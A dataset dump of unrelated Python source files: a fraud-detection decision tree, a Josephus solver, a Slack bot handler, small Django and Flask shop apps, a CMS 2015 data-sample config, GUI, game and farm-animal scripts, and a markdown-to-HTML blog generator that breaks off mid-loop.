+{"seq_id":"647692074","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Dec 20 17:25:43 2019\r\n\r\n@author: Emmanuel-PC\r\n\"\"\"\r\n\r\nimport pandas as pd\r\n\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.model_selection import GridSearchCV\r\n\r\ndataset = pd.read_csv('prediction_de_fraud.csv')\r\n\r\nX = dataset.drop('isFraud', axis = 1).values\r\n\r\ntarget = dataset['isFraud'].values\r\n\r\nlabEncr_X = LabelEncoder()\r\nX[:,1] = labEncr_X.fit_transform(X[:,1])\r\nX[:,3] = labEncr_X.fit_transform(X[:,3])\r\nX[:,6] = labEncr_X.fit_transform(X[:,6])\r\n\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, target, test_size = 0.3, random_state = 42, stratify = target)\r\n\r\n\r\n#Nous initialisons ensuite un DecisionTreeClassifierobjet avec deux arguments.\r\ndecTree = DecisionTreeClassifier(criterion = 'gini', random_state = 50)\r\n\r\n\r\n#Enfin, nous ajustons le modèle sur les données d’entraînement\r\ndecTree.fit(X_train, y_train)\r\n\r\n# évaluons sa précision sur les données de test.\r\ndecTree.score(X_test, y_test)\r\ny_pred = decTree.predict(X_test)\r\n\r\n# Evalution avec Matrice de Confusion \r\ncm = confusion_matrix(y_test, y_pred)\r\n\r\n\r\n\r\n#Creation de grille des differents hyperparameters\r\ngrid_params = {\r\n    'max_depth': [1,2,3,4,5,6],\r\n    'min_samples_leaf': [0.02,0.04, 0.06, 0.08]\r\n}\r\n\r\n\r\n\r\n#ous créons un GridSearchCVobjet avec le classifieur de l’arbre de décision comme estimateur\r\ngrid_object = GridSearchCV(estimator = decTree, param_grid = grid_params, scoring = 'accuracy', cv = 10)\r\n\r\n\r\n#Nous ajustons ensuite cet objet de grille aux données d'apprentissage\r\ngrid_object.fit(X_train, y_train)\r\n\r\n#Extraction des meilleures parametres\r\ngrid_object.best_params_\r\n\r\n\r\n","sub_path":"ArbreDecisionClassification.py","file_name":"ArbreDecisionClassification.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"27188570","text":"\ndef execute_range(begin_range, end_range, start, offset, print=False):\n    \"\"\"Returns the indices executed in The Josephus Problem given\n        the first and last indices in the range, the index to begin\n        the algorithm, and the offset for each step\"\"\"\n\n    result = []\n    index = start - offset\n    elems = list(range(begin_range, end_range + 1))\n\n    while elems:\n        last_index = index\n        index = (index + offset - 1) % len(elems)\n\n        if index < last_index:\n            if print:\n                print()\n\n        victim = elems.pop(index)\n        result.append(victim)\n\n        if print:\n            print(victim, end=' ')\n\n    if print:\n        print('\\n')\n\n    return result\n\ndef execute_on(elems, start, offset):\n    \"\"\"Returns a list with the elements of the given list\n       ordered (executed) Josephus-style with the specified params\"\"\"\n\n    execution_order = execute_range(0, len(elems) - 1, start, offset)\n    result = []\n\n    for index in execution_order:\n        result.append(elems[index])\n\n    return result\n","sub_path":"josephus.py","file_name":"josephus.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"146617386","text":"\"\"\"Calls the appropriate handler depending on the event data.\"\"\"\nfrom command.commands.user import UserCommand\nfrom model.user import User\nfrom bot.bot import SlackAPIError\nimport logging\n\n\nclass Core:\n    \"\"\"Encapsulate methods for handling events.\"\"\"\n\n    def __init__(self, db_facade, bot):\n        \"\"\"Initialize the dictionary of command handlers.\"\"\"\n        self.__commands = {}\n        self.__facade = db_facade\n        self.__bot = bot\n        self.__commands[\"user\"] = UserCommand(self.__facade, self.__bot)\n\n    def handle_app_mention(self, event_data):\n        \"\"\"Handle the events associated with mentions of @rocket.\"\"\"\n        message = event_data[\"event\"][\"text\"]\n        user = event_data[\"event\"][\"user\"]\n        channel = event_data[\"event\"][\"channel\"]\n        s = message.split(' ', 2)\n        if s[0] != \"@Rocket\":\n            logging.error(\"app mention event triggered incorrectly\")\n        else:\n            command_type = s[1]\n            command = command_type + ' ' + s[2]\n            try:\n                self.__commands[command_type].handle(command, user, channel)\n                logging.info((\"@Rocket mention - \"\n                              \"successfully handled request: \") + message)\n            except KeyError:\n                error_dm = \"Please enter a valid command.\"\n                self.__bot.send_dm(error_dm, user)\n                logging.info(\"@Rocket mention - invalid request: \" + message)\n\n    def handle_team_join(self, event_data):\n        \"\"\"Handle the event of a new user joining the workspace.\"\"\"\n        new_id = event_data[\"event\"][\"user\"][\"id\"]\n        new_user = User(new_id)\n        self.__facade.store_user(new_user)\n        welcome = 'Welcome to Lauchpad!'\n        try:\n            self.__bot.send_dm(welcome, new_id)\n            logging.info(new_id + \" added to database - user notified\")\n        except SlackAPIError:\n            logging.error(new_id + \" added to database - user not notified\")\n","sub_path":"command/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":1954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"530433306","text":"from django.shortcuts import render\nfrom models.ItemPrototype import ItemPrototype\nfrom django.views import View\n\nclass ShopView(View):\n    template_name = 'admin/shop_page.html'\n\n    def get(self, request):\n        context = {}\n        template_name = 'admin/shop_page.html'\n        context['items'] = ItemPrototype.objects.all()\n        return render(request, template_name, context)\n","sub_path":"admin/shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"613691862","text":"from flask import Flask,render_template,request,redirect\nfrom flask_sqlalchemy import SQLAlchemy\n\n\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI']='sqlite:shop.db'\ndb=SQLAlchemy(app)\n\n#There is a problem in this clas\n\nclass Item(db.Model):    # Modul,\n    id=db.Column(db.Integer,primary_key=True)\n    title=db.Column(db.String(100),nullable=False)\n    price=db.Column(db.Integer,nullable=False)\n    isActive=db.Column(db.Boolean,default=True)\n    #text=db.Column(db.Text,nullable=False)\n\n    \n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n\n@app.route('/about')\ndef about():\n    return render_template('about.html')\n\n\n@app.route('/create',methods=['POST','GET'])  \ndef create():\n    if request.method == \"POST\":\n       title = request.form['title']\n       price = request.form['price']\n\n       item = Item(title=title, price=price)\n      \n       try:\n           db.session.add(item)\n           db.session.commit()\n           return redirect('/')\n\n           \n       except:\n            return(\"The wrong order\")   \n    else:    \n        \n        return render_template('create.html')    \n    \n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n   ","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"103694242","text":"import PhysicsTools.HeppyCore.framework.config as cfg\nimport os\n\n#####COMPONENT CREATOR\n\nfrom CMGTools.RootTools.samples.ComponentCreator import ComponentCreator\nkreator = ComponentCreator()\n\n### ----------------------------- Zero Tesla run  ----------------------------------------\n\ndataDir = \"$CMSSW_BASE/src/CMGTools/TTHAnalysis/data\"  # use environmental variable, useful for instance to run on CRAB\n#json=dataDir+'/json/Cert_246908-251883_13TeV_PromptReco_Collisions15_JSON.txt'\njson=dataDir+'/json/Cert_246908-251883_13TeV_PromptReco_Collisions15_JSON_v2.txt'\n# https://hypernews.cern.ch/HyperNews/CMS/get/physics-validation/2446.html\n\n\n#jetHT_0T = cfg.DataComponent(\n#    name = 'jetHT_0T',\n#    files = kreator.getFilesFromEOS('jetHT_0T',\n#                                    'firstData_JetHT_v2',\n#                                    '/store/user/pandolf/MINIAOD/%s'),\n#    intLumi = 4.0,\n#    triggers = [],\n#    json = None #json\n#    )\n\n\n### ----------------------------- Magnetic Field On ----------------------------------------\n\nJet_Run2015B            = kreator.makeDataComponent(\"Jet_Run2015B\"           , \"/Jet/Run2015B-PromptReco-v1/MINIAOD\"           , \"CMS\", \".*root\", json)\nJetHT_Run2015B          = kreator.makeDataComponent(\"JetHT_Run2015B\"         , \"/JetHT/Run2015B-PromptReco-v1/MINIAOD\"         , \"CMS\", \".*root\", json)\nHTMHT_Run2015B          = kreator.makeDataComponent(\"HTMHT_Run2015B\"         , \"/HTMHT/Run2015B-PromptReco-v1/MINIAOD\"         , \"CMS\", \".*root\", json)\nMET_Run2015B            = kreator.makeDataComponent(\"MET_Run2015B\"           , \"/MET/Run2015B-PromptReco-v1/MINIAOD\"           , \"CMS\", \".*root\", json)\nSingleElectron_Run2015B = kreator.makeDataComponent(\"SingleElectron_Run2015B\", \"/SingleElectron/Run2015B-PromptReco-v1/MINIAOD\", \"CMS\", \".*root\", json)\nSingleMu_Run2015B       = kreator.makeDataComponent(\"SingleMu_Run2015B\"      , \"/SingleMu/Run2015B-PromptReco-v1/MINIAOD\"      , \"CMS\", \".*root\", json)\nSingleMuon_Run2015B     = kreator.makeDataComponent(\"SingleMuon_Run2015B\"    , \"/SingleMuon/Run2015B-PromptReco-v1/MINIAOD\"    , \"CMS\", \".*root\", json)\nSinglePhoton_Run2015B   = kreator.makeDataComponent(\"SinglePhoton_Run2015B\"  , \"/SinglePhoton/Run2015B-PromptReco-v1/MINIAOD\"  , \"CMS\", \".*root\", json)\nEGamma_Run2015B         = kreator.makeDataComponent(\"EGamma_Run2015B\"        , \"/EGamma/Run2015B-PromptReco-v1/MINIAOD\"        , \"CMS\", \".*root\", json)\nDoubleEG_Run2015B       = kreator.makeDataComponent(\"DoubleEG_Run2015B\"      , \"/DoubleEG/Run2015B-PromptReco-v1/MINIAOD\"      , \"CMS\", \".*root\", json)\nMuonEG_Run2015B         = kreator.makeDataComponent(\"MuonEG_Run2015B\"        , \"/MuonEG/Run2015B-PromptReco-v1/MINIAOD\"        , \"CMS\", \".*root\", json)\nDoubleMuon_Run2015B     = kreator.makeDataComponent(\"DoubleMuon_Run2015B\"    , \"/DoubleMuon/Run2015B-PromptReco-v1/MINIAOD\"    , \"CMS\", \".*root\", json)\n\nminBias_Run2015B  = kreator.makeDataComponent(\"minBias_Run2015B\" , \"/MinimumBias/Run2015B-PromptReco-v1/MINIAOD\", \"CMS\", \".*root\", json)\nzeroBias_Run2015B = kreator.makeDataComponent(\"zeroBias_Run2015B\", \"/ZeroBias/Run2015B-PromptReco-v1/MINIAOD\"   , \"CMS\", \".*root\", json)\n\ndataSamples_Run2015B = [Jet_Run2015B, JetHT_Run2015B, HTMHT_Run2015B, MET_Run2015B, SingleElectron_Run2015B, SingleMu_Run2015B, SingleMuon_Run2015B, SinglePhoton_Run2015B, EGamma_Run2015B, DoubleEG_Run2015B, MuonEG_Run2015B, DoubleMuon_Run2015B, minBias_Run2015B, zeroBias_Run2015B]\n\n### ----------------------------- 17July re-reco ----------------------------------------\n# https://twiki.cern.ch/twiki/bin/view/CMS/PdmVDataReprocessing747reMiniAod2015B\n\nJet_Run2015B_17Jul            = kreator.makeDataComponent(\"Jet_Run2015B_17Jul\"           , \"/Jet/Run2015B-17Jul2015-v1/MINIAOD\"           , \"CMS\", \".*root\", json)\nJetHT_Run2015B_17Jul          = kreator.makeDataComponent(\"JetHT_Run2015B_17Jul\"         , \"/JetHT/Run2015B-17Jul2015-v1/MINIAOD\"         , \"CMS\", \".*root\", json)\nHTMHT_Run2015B_17Jul          = kreator.makeDataComponent(\"HTMHT_Run2015B_17Jul\"         , \"/HTMHT/Run2015B-17Jul2015-v1/MINIAOD\"         , \"CMS\", \".*root\", json)\nMET_Run2015B_17Jul            = kreator.makeDataComponent(\"MET_Run2015B_17Jul\"           , \"/MET/Run2015B-17Jul2015-v1/MINIAOD\"           , \"CMS\", \".*root\", json)\nSingleElectron_Run2015B_17Jul = kreator.makeDataComponent(\"SingleElectron_Run2015B_17Jul\", \"/SingleElectron/Run2015B-17Jul2015-v1/MINIAOD\", \"CMS\", \".*root\", json)\nSingleMu_Run2015B_17Jul       = kreator.makeDataComponent(\"SingleMu_Run2015B_17Jul\"      , \"/SingleMu/Run2015B-17Jul2015-v1/MINIAOD\"      , \"CMS\", \".*root\", json)\nSingleMuon_Run2015B_17Jul     = kreator.makeDataComponent(\"SingleMuon_Run2015B_17Jul\"    , \"/SingleMuon/Run2015B-17Jul2015-v1/MINIAOD\"    , \"CMS\", \".*root\", json)\nSinglePhoton_Run2015B_17Jul   = kreator.makeDataComponent(\"SinglePhoton_Run2015B_17Jul\"  , \"/SinglePhoton/Run2015B-17Jul2015-v1/MINIAOD\"  , \"CMS\", \".*root\", json)\nEGamma_Run2015B_17Jul         = kreator.makeDataComponent(\"EGamma_Run2015B_17Jul\"        , \"/EGamma/Run2015B-17Jul2015-v1/MINIAOD\"        , \"CMS\", \".*root\", json)\nDoubleEG_Run2015B_17Jul       = kreator.makeDataComponent(\"DoubleEG_Run2015B_17Jul\"      , \"/DoubleEG/Run2015B-17Jul2015-v1/MINIAOD\"      , \"CMS\", \".*root\", json)\nMuonEG_Run2015B_17Jul         = kreator.makeDataComponent(\"MuonEG_Run2015B_17Jul\"        , \"/MuonEG/Run2015B-17Jul2015-v1/MINIAOD\"        , \"CMS\", \".*root\", json)\nDoubleMuon_Run2015B_17Jul     = kreator.makeDataComponent(\"DoubleMuon_Run2015B_17Jul\"    , \"/DoubleMuon/Run2015B-17Jul2015-v1/MINIAOD\"    , \"CMS\", \".*root\", json)\n\nminBias_Run2015B_17Jul  = kreator.makeDataComponent(\"minBias_Run2015B_17Jul\" , \"/MinimumBias/Run2015B-17Jul2015-v1/MINIAOD\", \"CMS\", \".*root\", json)\nzeroBias_Run2015B_17Jul = kreator.makeDataComponent(\"zeroBias_Run2015B_17Jul\", \"/ZeroBias/Run2015B-17Jul2015-v1/MINIAOD\"   , \"CMS\", \".*root\", json)\n\ndataSamples_17Jul = [Jet_Run2015B_17Jul, JetHT_Run2015B_17Jul, HTMHT_Run2015B_17Jul, MET_Run2015B_17Jul, SingleElectron_Run2015B_17Jul, SingleMu_Run2015B_17Jul, SingleMuon_Run2015B_17Jul, SinglePhoton_Run2015B_17Jul, EGamma_Run2015B_17Jul, DoubleEG_Run2015B_17Jul, MuonEG_Run2015B_17Jul, DoubleMuon_Run2015B_17Jul, minBias_Run2015B_17Jul, zeroBias_Run2015B_17Jul]\n\n### ----------------------------- Run2015C ----------------------------------------\n\nJet_Run2015C            = kreator.makeDataComponent(\"Jet_Run2015C\"           , \"/Jet/Run2015C-PromptReco-v1/MINIAOD\"           , \"CMS\", \".*root\", json)\nJetHT_Run2015C          = kreator.makeDataComponent(\"JetHT_Run2015C\"         , \"/JetHT/Run2015C-PromptReco-v1/MINIAOD\"         , \"CMS\", \".*root\", json)\nHTMHT_Run2015C          = kreator.makeDataComponent(\"HTMHT_Run2015C\"         , \"/HTMHT/Run2015C-PromptReco-v1/MINIAOD\"         , \"CMS\", \".*root\", json)\nMET_Run2015C            = kreator.makeDataComponent(\"MET_Run2015C\"           , \"/MET/Run2015C-PromptReco-v1/MINIAOD\"           , \"CMS\", \".*root\", json)\nSingleElectron_Run2015C = kreator.makeDataComponent(\"SingleElectron_Run2015C\", \"/SingleElectron/Run2015C-PromptReco-v1/MINIAOD\", \"CMS\", \".*root\", json)\nSingleMu_Run2015C       = kreator.makeDataComponent(\"SingleMu_Run2015C\"      , \"/SingleMu/Run2015C-PromptReco-v1/MINIAOD\"      , \"CMS\", \".*root\", json)\nSingleMuon_Run2015C     = kreator.makeDataComponent(\"SingleMuon_Run2015C\"    , \"/SingleMuon/Run2015C-PromptReco-v1/MINIAOD\"    , \"CMS\", \".*root\", json)\nSinglePhoton_Run2015C   = kreator.makeDataComponent(\"SinglePhoton_Run2015C\"  , \"/SinglePhoton/Run2015C-PromptReco-v1/MINIAOD\"  , \"CMS\", \".*root\", json)\nEGamma_Run2015C         = kreator.makeDataComponent(\"EGamma_Run2015C\"        , \"/EGamma/Run2015C-PromptReco-v1/MINIAOD\"        , \"CMS\", \".*root\", json)\nDoubleEG_Run2015C       = kreator.makeDataComponent(\"DoubleEG_Run2015C\"      , \"/DoubleEG/Run2015C-PromptReco-v1/MINIAOD\"      , \"CMS\", \".*root\", json)\nMuonEG_Run2015C         = kreator.makeDataComponent(\"MuonEG_Run2015C\"        , \"/MuonEG/Run2015C-PromptReco-v1/MINIAOD\"        , \"CMS\", \".*root\", json)\nDoubleMuon_Run2015C     = kreator.makeDataComponent(\"DoubleMuon_Run2015C\"    , \"/DoubleMuon/Run2015C-PromptReco-v1/MINIAOD\"    , \"CMS\", \".*root\", json)\n\nminBias_Run2015C  = kreator.makeDataComponent(\"minBias_Run2015C\" , \"/MinimumBias/Run2015C-PromptReco-v1/MINIAOD\", \"CMS\", \".*root\", json)\nzeroBias_Run2015C = kreator.makeDataComponent(\"zeroBias_Run2015C\", \"/ZeroBias/Run2015C-PromptReco-v1/MINIAOD\"   , \"CMS\", \".*root\", json)\n\ndataSamples_Run2015C = [Jet_Run2015C, JetHT_Run2015C, HTMHT_Run2015C, MET_Run2015C, SingleElectron_Run2015C, SingleMu_Run2015C, SingleMuon_Run2015C, SinglePhoton_Run2015C, EGamma_Run2015C, DoubleEG_Run2015C, MuonEG_Run2015C, DoubleMuon_Run2015C, minBias_Run2015C, zeroBias_Run2015C]\n\n\n### ----------------------------- summary ----------------------------------------\n\ndataSamples = dataSamples_Run2015B + dataSamples_17Jul + dataSamples_Run2015C\nsamples = dataSamples\n\n### ---------------------------------------------------------------------\n\nfrom CMGTools.TTHAnalysis.setup.Efficiencies import *\ndataDir = \"$CMSSW_BASE/src/CMGTools/TTHAnalysis/data\"\n\nfor comp in samples:\n    comp.splitFactor = 1000\n    comp.isMC = False\n    comp.isData = True\n\nif __name__ == \"__main__\":\n   import sys\n   if \"test\" in sys.argv:\n       from CMGTools.RootTools.samples.ComponentCreator import testSamples\n       testSamples(samples)\n","sub_path":"CMGTools/RootTools/python/samples/samples_13TeV_DATA2015.py","file_name":"samples_13TeV_DATA2015.py","file_ext":"py","file_size_in_byte":9323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"372866077","text":"#\n#   Python GUI - Alert base class - Generic\n#\n\nimport textwrap\nfrom GUI import ModalDialog\nfrom GUI import Label\n\nclass BaseAlert(ModalDialog):\n\n\t_wrapwidth = 50\n\t_minimum_width = 200\n\t_left_margin = 24\n\t_right_margin = 24\n\t_top_margin = 14\n\t_bottom_margin = 20\n\t_icon_spacing = 16\n\t_label_button_spacing = 20\n\t_default_width = 380\n\t_default_lines = 3\n\n\tyes_button = None\n\tno_button = None\n\tother_button = None\n\n\tdef __init__(self, kind, prompt, width = None, lines = None,\n\t\t\tbutton_labels = None, default = None, cancel = None):\n\t\t#if width is None:\n\t\t#\twidth = self._default_width\n\t\t#if lines is None:\n\t\t#\tlines = self._default_lines\n\t\tModalDialog.__init__(self, style = 'alert')\n\t\tself.label = Label(text = self._wrap(prompt), lines = lines)\n\t\tif self.label.width < self._minimum_width:\n\t\t\tself.label.width = self._minimum_width\n\t\tself._create_buttons(*button_labels)\n\t\t#self.default_button = self._find_button(default)\n\t\t#self.cancel_button = self._find_button(cancel)\n\t\tself._layout(kind)\n\t\n\tdef _layout(self, kind):\n\t\ticon_width, icon_height = self._layout_icon(kind)\n\t\tlabel_left = self._left_margin\n\t\tif icon_width:\n\t\t\tlabel_left += icon_width + self._icon_spacing\n\t\tif self.label.height < icon_height:\n\t\t\tself.label.height = icon_height\n\t\tself.place(self.label,\n\t\t\tleft = label_left,\n\t\t\ttop = self._top_margin)# + icon_height/4)\n\t\t#_wrap_text(self.label, self._default_width - label_left - self._right_margin)\n\t\tself._layout_buttons()\n\t\tself.shrink_wrap(padding = (self._right_margin, self._bottom_margin))\n\t\n\tdef _layout_icon(self, kind):\n\t\t#  Place icon for the given alert kind, if any, and return its size.\n\t\t#  If there is no icon, return (0, 0).\n\t\treturn (0, 0)\n\n\tdef _wrap(self, text):\n\t\twidth = self._wrapwidth\n\t\treturn \"\\n\\n\".join(\n\t\t\t[textwrap.fill(para, width)\n\t\t\t\tfor para in text.split(\"\\n\\n\")])\n\t\n\tdef _find_button(self, value):\n\t\t#print \"BaseAlert._find_button:\", value ###\n\t\tif value == 1:\n\t\t\tresult = self.yes_button\n\t\telif value == 0:\n\t\t\tresult = self.no_button\n\t\telif value == -1:\n\t\t\tresult = self.other_button\n\t\telse:\n\t\t\tresult = None\n\t\t#print \"BaseAlert._find_button: result =\", result ###\n\t\treturn result\n\t\n\tdef yes(self):\n\t\tself.dismiss(1)\n\n\tdef no(self):\n\t\tself.dismiss(0)\n\t\n\tdef other(self):\n\t\tself.dismiss(-1)\n\n#def _wrap_text(label, label_width):\n#\thard_lines = [text.split()\n#\t\tfor text in label.text.split(\"\\n\")]\n#\twords = hard_lines[0]\n#\tfor hard_line in hard_lines[1:]:\n#\t\twords.append(\"\\n\")\n#\t\twords.extend(hard_line)\n#\tfont = label.font\n#\tspace_width = font.width(\" \")\n#\tlines = []\n#\tline = []\n#\tline_width = 0\n#\tfor word in words:\n#\t\tword_width = font.width(word)\n#\t\tif word == \"\\n\" or (line_width > 0\n#\t\t\t\tand line_width + space_width + word_width > label_width):\n#\t\t\tlines.append(line)\n#\t\t\tline = []\n#\t\t\tline_width = 0\n#\t\tif word <> \"\\n\":\n#\t\t\tline.append(word)\n#\t\t\tif line_width > 0:\n#\t\t\t\tline_width += space_width\n#\t\t\tline_width += word_width\n#\tif line:\n#\t\tlines.append(line)\n#\tlabel.text = \"\\n\".join([\" \".join(line) for line in lines])\n\n\n\n","sub_path":"GUI/Generic/GBaseAlerts.py","file_name":"GBaseAlerts.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"102893444","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct  8 19:36:18 2015\n\n@author: marcu\n\"\"\"\nfrom cow_class import *\nfrom sheep_class import *\n\n\ndef display_menu():\n    print(\"Welcome to the experimenting farm!\")\n    print(\"Please choose an animal below.\")\n    print()\n    print(\"1. Cow\")\n    print(\"2. Sheep\")\n    \n\ndef select_option():\n    valid_option = False\n    while not valid_option:\n        try:\n            choice = int(input(\"Options selected: \"))\n            if choice in (1,2):\n                valid_option = True\n            else:\n                print(\"enter a valid option\")\n        except ValueError:\n            print(\"enter a valid option\")\n    return choice\n    \ndef create_animal():\n    display_menu()\n    choice = select_option()\n    if choice == 1:\n        animal = Cow()\n    elif choice == 2:\n        animal = Sheep()\n    return animal\n    \ndef main():\n    \n    animal = create_animal()\n    manage_animal(animal)\n    \nif __name__ == \"__main__\":\n    main()\n    ","sub_path":"15-10-08/animals.py","file_name":"animals.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"452009798","text":"import os\nimport math\nfrom random import choice\n\nimport pyglet\n\nwindow = pyglet.window.Window()\n\n# Setup Background\nground_tiles = pyglet.resource.image('ground_tiles.png')\nground_grid = pyglet.image.ImageGrid(ground_tiles, 2, 6)\ngrass_img = ground_grid[8]\ngrass_tile_ids = (7, 8, 9, 10)\n\nbg_batch = pyglet.graphics.Batch()\nbackground = pyglet.graphics.OrderedGroup(0)\nforeground = pyglet.graphics.OrderedGroup(1)\ncharacters = pyglet.graphics.OrderedGroup(3)\n\nnum_columns = int(math.ceil(window.width/grass_img.width))\nnum_rows = int(math.ceil(window.height/grass_img.height))\n\ngrass_sprites = []\nfor column in range(num_columns):\n    for row in range(num_rows):\n        x, y = column * 64, row * 64\n        grass_sprites.append(pyglet.sprite.Sprite(\n                ground_grid[choice(grass_tile_ids)], x, y,\n                batch=bg_batch, group=background\n            ))\n\nrock_sprite = pyglet.sprite.Sprite(ground_grid[0], 2 * 64, 4 * 64,\n    batch=bg_batch, group=foreground)\nbush_sprite = pyglet.sprite.Sprite(ground_grid[1], 6 * 64, 1 * 64,\n    batch=bg_batch, group=foreground)\n\ncreatures_tile = pyglet.resource.image('resources/creatures_tile.png')\ncreatures_grid = pyglet.image.ImageGrid(creatures_tile, 30, 4)\n\nhero_sprite = pyglet.sprite.Sprite(img=creatures_grid[(20,3)], batch=bg_batch, group=characters)\nhero_sprite.update(x=1 * 64, y=0 * 64, rotation=270.0, scale=2.0)\n\nmonster_sprite = pyglet.sprite.Sprite(img=creatures_grid[(12,1)], batch=bg_batch, group=characters)\nmonster_sprite.update(x=6 * 64, y=3 * 64, scale=2.0)\nmonster_sprite.dx = 1.0\nmonster_sprite.t = 0.0  # initial value\n\ndef monster_update(dt):\n    monster_sprite.t = monster_sprite.t + dt\n    monster_sprite.x += 3 * math.cos(monster_sprite.dx * monster_sprite.t)\n    monster_sprite.y += 3 * math.sin(monster_sprite.dx * monster_sprite.t)\npyglet.clock.schedule_interval(monster_update, 1/60.0)\n\n@window.event\ndef on_draw():\n    window.clear()\n    bg_batch.draw()\n\npyglet.app.run()\n","sub_path":"godber-python-games-v1-pyglet/src/patrol1.py","file_name":"patrol1.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"414270596","text":"import json,re\nimport shutil,math\nimport sys, random\nfrom pathlib import Path\n\nimport markdown\nfrom bs4 import BeautifulSoup\nfrom jinja2 import Environment, FileSystemLoader\n\n\ndef __all_html_fiels_info(html_dir, page_size):\n    \"\"\"\n    在dist根目录的直接置顶\n    :param html_dir:\n    :param page_size:\n    :return:\n    \"\"\"\n    info = {} # 0:[(url, title, pub_date, read_cnt)]\n\n    temp_info = []\n    top_fix = []  # 置顶文章\n    html_list = list(Path(html_dir).glob('**/*.html'))\n\n    for html in html_list:\n        relative_path = html.relative_to(html_dir)\n        pub_date = \"-\".join([str(x) for x in relative_path.parts[:-1]])\n        if pub_date=='':\n            top_fix.append((str(relative_path), relative_path.stem,  pub_date, random.randint(100, 9999)))\n        else:\n            temp_info.append((str(relative_path), relative_path.stem,  pub_date, random.randint(100, 9999)))\n\n    new_info = sorted(temp_info, key=lambda x: x[2],  reverse = True)\n    post_len = len(new_info)\n    page_cnt = math.ceil(post_len/page_size)\n    for i in range(0, page_cnt):\n        info[i] = new_info[i*page_size: min(i*page_size+page_size, post_len)]\n\n    return info,top_fix\n\n\ndef __all_md_files(md_source_dir, dist_dir):\n    md_2_html_path = {}\n    md_list = list(Path(md_source_dir).glob('**/*.md'))\n    md_list += list(Path(md_source_dir).glob('**/*.MD'))\n    for md in md_list:\n        html_file_name = f\"{md.stem}.html\"\n        p = str(md.relative_to(source_dir).parent)\n        p = re.sub(\"[\\\\\\\\/]\", \"-\", p)\n        html_path = Path(f\"{dist_dir}/{p}/{html_file_name}\")\n        Path(html_path.parent).mkdir(parents=True, exist_ok=True)\n        md_2_html_path[str(md)] = str(html_path)\n    return md_2_html_path\n\n\ndef __process_image(mdpath, source_dir, dist_dir, html, html_file):\n    soup = BeautifulSoup(html, \"lxml\")\n    images = soup.find_all(\"img\")\n    for img in images:\n        src = img.get(\"src\")\n        if src is not None and not src.startswith(\"http\"):  # 说明是本地图片\n            s = f\"{Path(mdpath).parent}/{src}\"\n            d = f\"{dist_dir}/{Path(html_file).relative_to(dist_dir).parent}/{src}\"\n            Path(Path(d).parent).mkdir(parents=True, exist_ok=True)\n            shutil.copy(s, d)\n\n\ndef __copy_cname(source_dir, dist_dir):\n    file = f\"{source_dir}/CNAME\"\n    shutil.copy(file, dist_dir)\n\n\ndef __copy_resource(template_theme_dir, theme_static, dist_dir):\n    for x in theme_static:\n        source_dir = f\"{template_theme_dir}/{x}\"\n        dist = f'{dist_dir}/{x}'\n        shutil.copytree(source_dir, dist)\n\n\ndef __get_config(cfg_file=\"config.json\"):\n    with open(cfg_file, \"r\", encoding='utf-8') as f:\n        txt = f.read()\n    json_obj = json.loads(txt)\n\n    return json_obj['template_dir'], json_obj['theme'], json_obj['theme_static'], json_obj['markdown_extensions'], json_obj['page_size'], json_obj['pagger_len']\n\n\ndef __tiny_png_b64(app_key):\n    pass\n\n\nif __name__ == \"__main__\":\n    source_dir = sys.argv[1]\n    dist_dir = sys.argv[2]\n    shutil.rmtree(dist_dir, ignore_errors=True)\n    template_dir, theme, theme_static, markdown_extentions, page_size, pagger_len = __get_config(\"config.json\")\n    template_theme_dir = f'{template_dir}/{theme}'\n    env = Environment(loader=FileSystemLoader(template_theme_dir))\n    detail_template = env.get_template('detail.html')\n    index_template = env.get_template('index.html')\n\n    md_2_html = __all_md_files(source_dir, dist_dir)\n    tags_article = {}\n    for md, html_file in md_2_html.items():\n        Path(Path(html_file).parent).mkdir(parents=True, exist_ok=True)\n        with open(md, 'r', encoding='utf-8') as f:\n            mdobj = markdown.Markdown(extensions=markdown_extentions)\n            html = mdobj.convert(f.read())\n            tags = mdobj.Meta.get('tags')\n            table_of_content = mdobj.toc\n            mdobj.toc=None\n            if tags:\n                for t in tags:\n                    articles = tags_article.get(t)\n                    if articles is None:\n                        tags_article[t] = []\n                    tags_article[t].append(Path(html_file).relative_to(dist_dir))\n\n            __process_image(md, source_dir, dist_dir, html, html_file)\n        static_path = \"../\"*(len(Path(html_file).relative_to(dist_dir).parents)-1)\n        title = Path(html_file).stem\n        detail_template.stream(post_content=html, static_path=static_path, title=title, tags=tags, toc=table_of_content).dump(html_file, encoding='utf-8')\n\n    __copy_resource(template_theme_dir, theme_static, dist_dir)\n\n    #####  接下来生成博客列表和分页\n    pagegger_info, top_fix = __all_html_fiels_info(dist_dir, page_size)\n    total_page = len(pagegger_info.keys())\n    for idx, post_list in 